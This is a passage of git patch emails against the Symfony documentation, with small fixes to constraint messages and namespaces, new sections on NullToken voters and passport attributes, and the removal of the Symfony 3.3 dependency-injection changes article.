diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index d2ad1e2c909..2820fce0052 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -37,7 +37,7 @@ on an object that will contain an ISBN.
             /**
              * @Assert\Isbn(
              *     type = "isbn10",
-             *     message = "This value is not  valid."
+             *     message = "This value is not valid."
              * )
              */
             protected $isbn;
@@ -51,7 +51,7 @@ on an object that will contain an ISBN.
                 isbn:
                     - Isbn:
                         type: isbn10
-                        message: This value is not  valid.
+                        message: This value is not valid.
 
     .. code-block:: xml
 
@@ -65,7 +65,7 @@ on an object that will contain an ISBN.
                 <property name="isbn">
                     <constraint name="Isbn">
                         <option name="type">isbn10</option>
-                        <option name="message">This value is not  valid.</option>
+                        <option name="message">This value is not valid.</option>
                     </constraint>
                 </property>
             </class>

From bea2e77e83412a560bc9503ec473e2243551b3e6 Mon Sep 17 00:00:00 2001
From: obsirdian <kk@onlfx.com>
Date: Sat, 14 Nov 2020 12:44:14 -0600
Subject: [PATCH 0128/5766] Fix user entity import

---
 security/user_checkers.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 83e1dc0554b..d5374e44b03 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -21,8 +21,8 @@ or :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationExceptio
 
     namespace App\Security;
 
+    use App\Entity\User as AppUser;
     use App\Exception\AccountDeletedException;
-    use App\Security\User as AppUser;
     use Symfony\Component\Security\Core\Exception\AccountExpiredException;
     use Symfony\Component\Security\Core\User\UserCheckerInterface;
     use Symfony\Component\Security\Core\User\UserInterface;

From 3189563ce824beb9871f4ef27195eed21a3a07d2 Mon Sep 17 00:00:00 2001
From: Arman Hosseini <namra.1377@gmail.com>
Date: Sun, 15 Nov 2020 21:48:36 +0330
Subject: [PATCH 0129/5766] Use AppBundle instead of Acme\UserBundle

AppBundle is used in all contexts and it is better to keep this name until the end in this branch.
---
 security/named_encoders.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/named_encoders.rst b/security/named_encoders.rst
index 803f3d16992..78d3094ebbf 100644
--- a/security/named_encoders.rst
+++ b/security/named_encoders.rst
@@ -52,7 +52,7 @@ to apply to all instances of a specific class:
 Another option is to use a "named" encoder and then select which encoder
 you want to use dynamically.
 
-In the previous example, you've set the ``sha512`` algorithm for ``Acme\UserBundle\Entity\User``.
+In the previous example, you've set the ``sha512`` algorithm for ``AppBundle\Entity\User``.
 This may be secure enough for a regular user, but what if you want your admins
 to have a stronger algorithm, for example ``bcrypt``. This can be done with
 named encoders:
@@ -113,8 +113,8 @@ to use it, the class must implement
 The interface requires one method - ``getEncoderName()`` - which should return
 the name of the encoder to use::
 
-    // src/Acme/UserBundle/Entity/User.php
-    namespace Acme\UserBundle\Entity;
+    // src/AppBundle/Entity/User.php
+    namespace AppBundle\Entity\User;
 
     use Symfony\Component\Security\Core\Encoder\EncoderAwareInterface;
     use Symfony\Component\Security\Core\User\UserInterface;

From 3a439bddc1646c482f3f6f78894391c0153199da Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 16 Nov 2020 00:02:25 +0100
Subject: [PATCH 0130/5766] [#14011] Documented the NullToken usage

---
 security/experimental_authenticators.rst | 36 ++++++++++++++++++++++++
 1 file changed, 36 insertions(+)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index d0813795b12..45c0edb882d 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -135,6 +135,42 @@ unauthenticated access (e.g. the login page):
             ],
         ]);
 
+Granting Anonymous Users Access in a Custom Voter
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    The ``NullToken`` class was introduced in Symfony 5.2.
+
+If you're using a :doc:`custom voter </security/voters>`, you can allow
+anonymous users access by checking for a special
+:class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\NullToken`. This token is used
+in the voters to represent the unauthenticated access::
+
+    // src/Security/PostVoter.php
+    namespace App\Security;
+
+    // ...
+    use Symfony\Component\Security\Core\Authentication\Token\NullToken;
+    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Authorization\Voter\Voter;
+
+    class PostVoter extends Voter
+    {
+        // ...
+
+        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token): bool
+        {
+            // ...
+
+            if ($token instanceof NullToken) {
+                // the user is not authenticated, e.g. only allow them to
+                // see public posts
+                return $subject->isPublic();
+            }
+        }
+    }
+
 .. _authenticators-required-entry-point:
 
 Configuring the Authentication Entry Point

From 0eae59cf1d7b3c8a02d6610127ea89115dd628dd Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 16 Nov 2020 00:12:03 +0100
Subject: [PATCH 0131/5766] Documented passport attributes

---
 security/experimental_authenticators.rst | 37 ++++++++++++++++++++++++
 1 file changed, 37 insertions(+)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index d0813795b12..0a713e6b0ca 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -502,3 +502,40 @@ authenticator, you would initialize the passport like this::
             ]);
         }
     }
+
+.. tip::
+
+    Besides badges, passports can define attributes, which allows the
+    ``authenticate()`` method to store arbitrary information in the
+    passport to access it from other authenticator methods (e.g.
+    ``createAuthenticatedToken()``)::
+
+        // ...
+        use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+
+        class LoginAuthenticator extends AbstractAuthenticator
+        {
+            // ...
+
+            public function authenticate(Request $request): PassportInterface
+            {
+                // ... process the request
+
+                $passport = new SelfValidatingPassport($username, []);
+
+                // set a custom attribute (e.g. scope)
+                $passport->setAttribute('scope', $oauthScope);
+
+                return $passport;
+            }
+
+            public function createAuthenticatedToken(PassportInterface $passport, string $firewallName): TokenInterface
+            {
+                // read the attribute value
+                return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));
+            }
+        }
+
+.. versionadded:: 5.2
+
+    Passport attributes were introduced in Symfony 5.2.

From 4129e8ece169f80d10741eb2baf2b7ab5af1fb6a Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Mon, 16 Nov 2020 11:20:31 +0100
Subject: [PATCH 0132/5766] [Event Dispatcher] Fix typo for __invoke()

---
 event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index c7fa7b7d905..3462659efb5 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -122,7 +122,7 @@ listener class:
    the ``kernel.exception`` event);
 #. If that method is not defined either, try to call the ``__invoke()`` magic
    method (which makes event listeners invokable);
-#. If the ``_invoke()`` method is not defined either, throw an exception.
+#. If the ``__invoke()`` method is not defined either, throw an exception.
 
 .. note::
 

From 4e0bdc59bff163866ddae899e11f002a8dd91439 Mon Sep 17 00:00:00 2001
From: wkania <57155526+wkania@users.noreply.github.com>
Date: Mon, 16 Nov 2020 19:55:01 +0100
Subject: [PATCH 0133/5766] [Validator] Fix namespace of UserPassword and
 UserPasswordValidator

---
 reference/constraints/UserPassword.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst
index 9655380bf95..91017168a82 100644
--- a/reference/constraints/UserPassword.rst
+++ b/reference/constraints/UserPassword.rst
@@ -20,8 +20,8 @@ Applies to  :ref:`property or method <validation-property-target>`
 Options     - `groups`_
             - `message`_
             - `payload`_
-Class       :class:`Symfony\\Component\\Validator\\Constraints\\UserPassword`
-Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UserPasswordValidator`
+Class       :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPassword`
+Validator   :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPasswordValidator`
 ==========  ===================================================================
 
 Basic Usage

From cb81bdeac1a0e24532742193c5858cd8be69c06a Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 17 Nov 2020 10:24:42 +0100
Subject: [PATCH 0134/5766] Removed 3.3 DI changes article

---
 _build/redirection_map               |   1 +
 service_container/3.3-di-changes.rst | 873 ---------------------------
 setup/flex.rst                       |   2 +-
 3 files changed, 2 insertions(+), 874 deletions(-)
 delete mode 100644 service_container/3.3-di-changes.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 66fc6db1b47..6c49dc6bed6 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -508,3 +508,4 @@
 /components/mailer /mailer
 /messenger/message-recorder messenger/dispatch_after_current_bus
 /components/stopwatch https://github.com/symfony/stopwatch
+/service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html
diff --git a/service_container/3.3-di-changes.rst b/service_container/3.3-di-changes.rst
deleted file mode 100644
index d57be2c0e5b..00000000000
--- a/service_container/3.3-di-changes.rst
+++ /dev/null
@@ -1,873 +0,0 @@
-The Symfony 3.3 DI Container Changes Explained (autowiring, _defaults, etc)
-===========================================================================
-
-If you look at the ``services.yaml`` file in a new Symfony 3.3 or newer project, you'll
-notice some big changes: ``_defaults``, ``autowiring``, ``autoconfigure`` and more.
-These features are designed to *automate* configuration and make development faster,
-without sacrificing predictability, which is very important! Another goal is to make
-controllers and services behave more consistently. In Symfony 3.3, controllers *are*
-services by default.
-
-The documentation has already been updated to assume you have these new features
-enabled. If you're an existing Symfony user and want to understand the "what"
-and "why" behind these changes, this article is for you!
-
-All Changes are Optional
-------------------------
-
-Most importantly, **you can upgrade to Symfony 3.3 today without making any changes to your app**.
-Symfony has a strict :doc:`backwards compatibility promise </contributing/code/bc>`,
-which means it's always safe to upgrade across minor versions.
-
-All of the new features are **optional**: they are not enabled by default, so you
-need to actually change your configuration files to use them.
-
-.. _`service-33-default_definition`:
-
-The new Default services.yaml File
-----------------------------------
-
-To understand the changes, look at the new default ``services.yaml`` file (this is
-what the file looks like in Symfony 4):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # default configuration for services in *this* file
-            _defaults:
-                autowire: true      # Automatically injects dependencies in your services.
-                autoconfigure: true # Automatically registers your services as commands, event subscribers, etc.
-                public: false       # Allows optimizing the container by removing unused services; this also means
-                                    # fetching services directly from the container via $container->get() won't work.
-                                    # The best practice is to be explicit about your dependencies anyway.
-
-            # makes classes in src/ available to be used as services
-            # this creates a service per class whose id is the fully-qualified class name
-            App\:
-                resource: '../src/*'
-                exclude: '../src/{Entity,Migrations,Tests}'
-
-            # controllers are imported separately to make sure services can be injected
-            # as action arguments even if you don't extend any base controller class
-            App\Controller\:
-                resource: '../src/Controller'
-                tags: ['controller.service_arguments']
-
-            # add more service definitions when explicit configuration is needed
-            # please note that last definitions always *replace* previous ones
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <defaults autowire="true" autoconfigure="true" public="false"/>
-
-                <prototype namespace="App\" resource="../src/*" exclude="../src/{Entity,Migrations,Tests}"/>
-
-                <prototype namespace="App\Controller\" resource="../src/Controller">
-                    <tag name="controller.service_arguments"/>
-                </prototype>
-
-                <!-- add more services, or override services that need manual wiring -->
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        return function(ContainerConfigurator $configurator) {
-            // default configuration for services in *this* file
-            $services = $configurator->services()
-                ->defaults()
-                    ->autowire()      // Automatically injects dependencies in your services.
-                    ->autoconfigure() // Automatically registers your services as commands, event subscribers, etc.
-            ;
-
-            // makes classes in src/ available to be used as services
-            // this creates a service per class whose id is the fully-qualified class name
-            $services->load('App\\', '../src/*')
-                ->exclude('../src/{Entity,Migrations,Tests}');
-
-            // controllers are imported separately to make sure services can be injected
-            // as action arguments even if you don't extend any base controller class
-            $services->load('App\\Controller\\', '../src/Controller')
-                ->tag('controller.service_arguments');
-
-            // add more service definitions when explicit configuration is needed
-            // please note that last definitions always *replace* previous ones
-        };
-
-This small bit of configuration contains a paradigm shift of how services
-are configured in Symfony.
-
-.. _`service-33-changes-automatic-registration`:
-
-1) Services are Loaded Automatically
-------------------------------------
-
-.. seealso::
-
-    Read the documentation for :ref:`automatic service loading <service-psr4-loader>`.
-
-The first big change is that services do *not* need to be defined one-by-one anymore,
-thanks to the following config:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            # makes classes in src/ available to be used as services
-            # this creates a service per class whose id is the fully-qualified class name
-            App\:
-                resource: '../src/*'
-                exclude: '../src/{Entity,Migrations,Tests}'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <!-- ... -->
-
-                <prototype namespace="App\" resource="../src/*" exclude="../src/{Entity,Migrations,Tests}"/>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        return function(ContainerConfigurator $configurator) {
-            // ...
-
-            // makes classes in src/ available to be used as services
-            // this creates a service per class whose id is the fully-qualified class name
-            $services->load('App\\', '../src/*')
-                ->exclude('../src/{Entity,Migrations,Tests}');
-        };
-
-This means that every class in ``src/`` is *available* to be used as a
-service. And thanks to the ``_defaults`` section at the top of the file, all of
-these services are **autowired** and **private** (i.e. ``public: false``).
-
-The service ids are equal to the class name (e.g. ``App\Service\InvoiceGenerator``).
-And that's another change you'll notice in Symfony 3.3: we recommend that you use
-the class name as your service id, unless you have :ref:`multiple services for the same class <services-explicitly-configure-wire-services>`.
-
-    But how does the container know the arguments to my services?
-
-Since each service is :ref:`autowired <services-autowire>`, the container is able
-to determine most arguments automatically. But, you can always override the service
-and :ref:`manually configure arguments <services-manually-wire-args>` or anything
-else special about your service.
-
-    But wait, if I have some model (non-service) classes in my ``src/``
-    directory, doesn't this mean that *they* will also be registered as services?
-    Isn't that a problem?
-
-Actually, this is *not* a problem. Since all the new services are :ref:`private <container-public>`
-(thanks to ``_defaults``), if any of the services are *not* used in your code, they're
-automatically removed from the compiled container. This means that the number of
-services in your container should be the *same* whether your explicitly configure
-each service or load them all at once with this method.
-
-    Ok, but can I exclude some paths that I *know* won't contain services?
-
-Yes! The ``exclude`` key is a glob pattern that can be used to *ignore* paths
-that you do *not* want to be included as services. But, since unused services are
-automatically removed from the container, ``exclude`` is not that important. The
-biggest benefit is that those paths are not *tracked* by the container, and so may
-result in the container needing to be rebuilt less-often in the ``dev`` environment.
-
-2) Autowiring by Default: Use Type-hint instead of Service id
--------------------------------------------------------------
-
-The second big change is that autowiring is enabled (via ``_defaults``) for all
-services you register. This also means that service id's are now *less* important
-and "types" (i.e. class or interface names) are now *more* important.
-
-For example, before Symfony 3.3 (and this is still allowed), you could pass one
-service as an argument to another with the following config:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            app.invoice_generator:
-                class: App\Service\InvoiceGenerator
-
-            app.invoice_mailer:
-                class: App\Service\InvoiceMailer
-                arguments:
-                    - '@app.invoice_generator'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="app.invoice_generator"
-                    class="App\Service\InvoiceGenerator"/>
-
-                <service id="app.invoice_mailer"
-                    class="App\Service\InvoiceMailer">
-
-                    <argument type="service" id="app.invoice_generator"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\Service\InvoiceGenerator;
-        use App\Service\InvoiceMailer;
-        use Symfony\Component\DependencyInjection\Reference;
-
-        $container->register('app.invoice_generator', InvoiceGenerator::class);
-        $container->register('app.invoice_mailer', InvoiceMailer::class)
-            ->setArguments([new Reference('app.invoice_generator')]);
-
-To pass the ``InvoiceGenerator`` as an argument to ``InvoiceMailer``, you needed
-to specify the service's *id* as an argument: ``app.invoice_generator``. Service
-id's were the main way that you configured things.
-
-But in Symfony 3.3, thanks to autowiring, all you need to do is type-hint the
-argument with ``InvoiceGenerator``::
-
-    // src/Service/InvoiceMailer.php
-    namespace App\Service;
-
-    // ...
-
-    class InvoiceMailer
-    {
-        private $generator;
-
-        public function __construct(InvoiceGenerator $generator)
-        {
-            $this->generator = $generator
-        }
-
-        // ...
-    }
-
-That's it! Both services are :ref:`automatically registered <service-33-changes-automatic-registration>`
-and set to autowire. Without *any* configuration, the container knows to pass the
-auto-registered ``App\Service\InvoiceGenerator`` as the first argument. As
-you can see, the *type* of the class - ``App\Service\InvoiceGenerator`` - is
-what's most important, not the id. You request an *instance* of a specific type and
-the container automatically passes you the correct service.
-
-    Isn't that magic? How does it know which service to pass me exactly? What if
-    I have multiple services of the same instance?
-
-The autowiring system was designed to be *super* predictable. It first works by looking
-for a service whose id *exactly* matches the type-hint. This means you're in full
-control of what type-hint maps to what service. You can even use service aliases
-to get more control. If you have multiple services for a specific type, *you* choose
-which should be used for autowiring. For full details on the autowiring logic, see :ref:`autowiring-logic-explained`.
-
-    But what if I have a scalar (e.g. string) argument? How does it autowire that?
-
-If you have an argument that is *not* an object, it can't be autowired. But that's
-ok! Symfony will give you a clear exception (on the next refresh of *any* page) telling
-you which argument of which service could not be autowired. To fix it, you can
-:ref:`manually configure *just* that one argument <services-manually-wire-args>`.
-This is the philosophy of autowiring: only configure the parts that you need to.
-Most configuration is automated.
-
-    Ok, but autowiring makes your applications less stable. If you change one thing
-    or make a mistake, unexpected things might happen. Isn't that a problem?
-
-Symfony has always valued stability, security and predictability first. Autowiring
-was designed with that in mind. Specifically:
-
-* If there is a problem wiring *any* argument to *any* service, a clear exception
-  is thrown on the next refresh of *any* page, even if you don't use that service
-  on that page. That's *powerful*: it is *not* possible to make an autowiring mistake
-  and not realize it.
-
-* The container determines *which* service to pass in an explicit way: it looks for
-  a service whose id matches the type-hint exactly. It does *not* scan all services
-  looking for objects that have that class/interface.
-
-Autowiring aims to *automate* configuration without magic.
-
-3) Controllers are Registered as Services
------------------------------------------
-
-The third big change is that, in a new Symfony 3.3 project, your controllers are *services*:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            # controllers are imported separately to make sure they're public
-            # and have a tag that allows actions to type-hint services
-            App\Controller\:
-                resource: '../src/Controller'
-                tags: ['controller.service_arguments']
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <!-- ... -->
-
-                <prototype namespace="App\Controller\" resource="../src/Controller">
-                    <tag name="controller.service_arguments"/>
-                </prototype>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        return function(ContainerConfigurator $configurator) {
-            // ...
-
-            // controllers are imported separately to make sure they're public
-            // and have a tag that allows actions to type-hint services
-            $services->load('App\\Controller\\', '../src/Controller')
-                ->tag('controller.service_arguments');
-        };
-
-
-But, you might not even notice this. First, your controllers *can* still extend
-the same base controller class (``AbstractController``).
-This means you have access to all of the same shortcuts as before. Additionally,
-the ``@Route`` annotation and ``_controller`` syntax (e.g. ``App:Default:homepage``)
-used in routing will automatically use your controller as a service (as long as its
-service id matches its class name, which it *does* in this case). See :doc:`/controller/service`
-for more details. You can even create :ref:`invokable controllers <controller-service-invoke>`
-
-In other words, everything works the same. You can even add the above configuration
-to your existing project without any issues: your controllers will behave the same
-as before. But now that your controllers are services, you can use dependency injection
-and autowiring like any other service.
-
-To make life even easier, it's now possible to autowire arguments to your controller
-action methods, like you can with the constructor of services. For example::
-
-    // src/Controller/InvoiceController.php
-    namespace App\Controller;
-
-    use Psr\Log\LoggerInterface;
-
-    class InvoiceController extends AbstractController
-    {
-        public function listInvoices(LoggerInterface $logger)
-        {
-            $logger->info('A new way to access services!');
-        }
-    }
-
-This is *only* possible in a controller, and your controller service must be tagged
-with ``controller.service_arguments`` to make it happen. This new feature is used
-throughout the documentation.
-
-In general, the new best practice is to use normal constructor dependency injection
-(or "action" injection in controllers) instead of fetching public services via
-``$this->get()`` (though that does still work).
-
-.. _service_autoconfigure:
-
-4) Auto-tagging with autoconfigure
-----------------------------------
-
-The fourth big change is the ``autoconfigure`` key, which is set to ``true`` under
-``_defaults``. Thanks to this, the container will auto-tag services registered in
-this file. For example, suppose you want to create an event subscriber. First, you
-create the class::
-
-    // src/EventSubscriber/SetHeaderSusbcriber.php
-    namespace App\EventSubscriber;
-
-    // ...
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpKernel\Event\ResponseEvent;
-    use Symfony\Component\HttpKernel\KernelEvents;
-
-    class SetHeaderSusbcriber implements EventSubscriberInterface
-    {
-        public function onKernelResponse(ResponseEvent $event)
-        {
-            $event->getResponse()->headers->set('X-SYMFONY-3.3', 'Less config');
-        }
-
-        public static function getSubscribedEvents()
-        {
-            return [
-                KernelEvents::RESPONSE => 'onKernelResponse'
-            ];
-        }
-    }
-
-Great! In Symfony 3.2 or lower, you would now need to register this as a service
-in ``services.yaml`` and tag it with ``kernel.event_subscriber``. In Symfony 3.3,
-you're already done!
-
-The service is :ref:`automatically registered <service-33-changes-automatic-registration>`.
-And thanks to ``autoconfigure``, Symfony automatically tags the service because
-it implements ``EventSubscriberInterface``.
-
-    That sounds like magic - it *automatically* tags my services?
-
-In this case, you've created a class that implements ``EventSubscriberInterface``
-and registered it as a service. This is more than enough for the container to know
-that you want this to be used as an event subscriber: more configuration is not needed.
-And the tags system is its own, Symfony-specific mechanism. And you can
-always set ``autoconfigure`` to ``false`` in ``services.yaml``, or disable it
-for a specific service.
-
-    Does this mean tags are dead? Does this work for all tags?
-
-This does *not* work for all tags. Many tags have *required* attributes, like event
-*listeners*, where you also need to specify the event name and method in your tag.
-Autoconfigure works only for tags without any required tag attributes, and as you
-read the docs for a feature, it'll tell you whether or not the tag is needed. You
-can also look at the extension classes (e.g. `FrameworkExtension for 3.3.0`_) to
-see what it autoconfigures.
-
-    What if I need to add a priority to my tag?
-
-Many autoconfigured tags have an optional priority. If you need to specify a priority
-(or any other optional tag attribute), no problem! :ref:`Manually configure your service <services-manually-wire-args>`
-and add the tag. Your tag will take precedence over the one added by auto-configuration.
-
-5) Auto-configure with _instanceof
-----------------------------------
-
-And the final big change is ``_instanceof``. It acts as a default definition
-template (see `service-33-default_definition`_), but only for services whose
-class matches a defined one.
-
-This can be very useful when many services share some tag that cannot be
-inherited from an abstract definition:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            _instanceof:
-                App\Domain\LoaderInterface:
-                    public: true
-                    tags: ['app.domain_loader']
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <!-- ... -->
-
-                <instanceof id="App\Domain\LoaderInterface" public="true">
-                    <tag name="app.domain_loader"/>
-                </instanceof>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\Domain\LoaderInterface;
-
-        return function(ContainerConfigurator $configurator) {
-            // ...
-
-            $services->instanceof(LoaderInterface::class)
-                ->public()
-                ->tag('app.domain_loader');
-        };
-
-What about Performance
-----------------------
-
-Symfony is unique because it has a *compiled* container. This means that there is
-*no* runtime performance impact for using any of these features. That's also why
-the autowiring system can give you such clear errors.
-
-However, there is some performance impact in the ``dev`` environment. Most importantly,
-your container will likely be rebuilt more often when you modify your service classes.
-This is because it needs to rebuild whenever you add a new argument to a service,
-or add an interface to your class that should be autoconfigured.
-
-In very big projects, this may be a problem. If it is, you can always opt to *not*
-use autowiring. If you think the cache rebuilding system could be smarter in some
-situation, please open an issue!
-
-Upgrading to the new Symfony 3.3 Configuration
-----------------------------------------------
-
-Ready to upgrade your existing project? Great! Suppose you have the following configuration:
-
-.. code-block:: yaml
-
-    # config/services.yaml
-    services:
-        app.github_notifier:
-            class: App\Service\GitHubNotifier
-            arguments:
-                - '@app.api_client_github'
-
-        markdown_transformer:
-            class: App\Service\MarkdownTransformer
-
-        app.api_client_github:
-            class: App\Service\ApiClient
-            arguments:
-                - 'https://api.github.com'
-
-        app.api_client_sl_connect:
-            class: App\Service\ApiClient
-            arguments:
-                - 'https://connect.symfony.com/api'
-
-It's optional, but let's upgrade this to the new Symfony 3.3 configuration step-by-step,
-*without* breaking our application.
-
-Step 1): Adding _defaults
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Start by adding a ``_defaults`` section with ``autowire`` and ``autoconfigure``.
-
-.. code-block:: diff
-
-    # config/services.yaml
-    services:
-    +     _defaults:
-    +         autowire: true
-    +         autoconfigure: true
-
-        # ...
-
-You're already *explicitly* configuring all of your services. So, ``autowire``
-does nothing. You're also already tagging your services, so ``autoconfigure``
-also doesn't change any existing services.
-
-You have not added ``public: false`` yet. That will come in a minute.
-
-Step 2) Using Class Service id's
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Right now, the service ids are machine names - e.g. ``app.github_notifier``. To
-work well with the new configuration system, your service ids should be class names,
-except when you have multiple instances of the same service.
-
-Start by updating the service ids to class names:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    services:
-        # ...
-
-    -     app.github_notifier:
-    -         class: App\Service\GitHubNotifier
-    +     App\Service\GitHubNotifier:
-            arguments:
-                - '@app.api_client_github'
-
-    -     markdown_transformer:
-    -         class: App\Service\MarkdownTransformer
-    +     App\Service\MarkdownTransformer: ~
-
-        # keep these ids because there are multiple instances per class
-        app.api_client_github:
-            # ...
-        app.api_client_sl_connect:
-            # ...
-
-.. caution::
-
-    Services associated with global PHP classes (i.e. not using PHP namespaces)
-    must maintain the ``class`` parameter. For example, when using the old Twig
-    classes (e.g. ``Twig_Extensions_Extension_Intl`` instead of ``Twig\Extensions\IntlExtension``),
-    you can't redefine the service as ``Twig_Extensions_Extension_Intl: ~`` and
-    you must keep the original ``class`` parameter.
-
-.. caution::
-
-    If a service is processed by a :doc:`compiler pass </service_container/compiler_passes>`,
-    you could face a  "You have requested a non-existent service" error.
-    To get rid of this, be sure that the Compiler Pass is using ``findDefinition()``
-    instead of ``getDefinition()``. The latter won't take aliases into
-    account when looking up for services.
-    Furthermore it is always recommended to check for definition existence
-    using ``has()`` function.
-
-.. note::
-
-    If you get rid of deprecations and make your controllers extend from
-    ``AbstractController`` instead of ``Controller``, you can skip the rest of
-    this step because ``AbstractController`` doesn't provide a container where
-    you can get the services from. All services need to be injected as explained
-    in the :ref:`step 5 of this article <step-5>`.
-
-But, this change will break our app! The old service ids (e.g. ``app.github_notifier``)
-no longer exist. The simplest way to fix this is to find all your old service ids
-and update them to the new class id: ``app.github_notifier`` to ``App\Service\GitHubNotifier``.
-
-In large projects, there's a better way: create legacy aliases that map the old id
-to the new id. Create a new ``legacy_aliases.yaml`` file:
-
-.. code-block:: yaml
-
-    # config/legacy_aliases.yaml
-    services:
-        _defaults:
-            public: true
-        # aliases so that the old service ids can still be accessed
-        # remove these if/when you are not fetching these directly
-        # from the container via $container->get()
-        app.github_notifier: '@App\Service\GitHubNotifier'
-        markdown_transformer: '@App\Service\MarkdownTransformer'
-
-Then import this at the top of ``services.yaml``:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    + imports:
-    +     - { resource: legacy_aliases.yaml }
-
-    # ...
-
-That's it! The old service ids still work. Later, (see the cleanup step below), you
-can remove these from your app.
-
-Step 3) Make the Services Private
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Now you're ready to default all services to be private:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    # ...
-
-    services:
-        _defaults:
-            autowire: true
-            autoconfigure: true
-    +       public: false
-
-Thanks to this, any services created in this file cannot be fetched directly from
-the container. But, since the old service id's are aliases in a separate file (``legacy_aliases.yaml``),
-these *are* still public. This makes sure the app keeps working.
-
-If you did *not* change the id of some of your services (because there are multiple
-instances of the same class), you may need to make those public:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    # ...
-
-    services:
-        # ...
-
-        app.api_client_github:
-            # ...
-
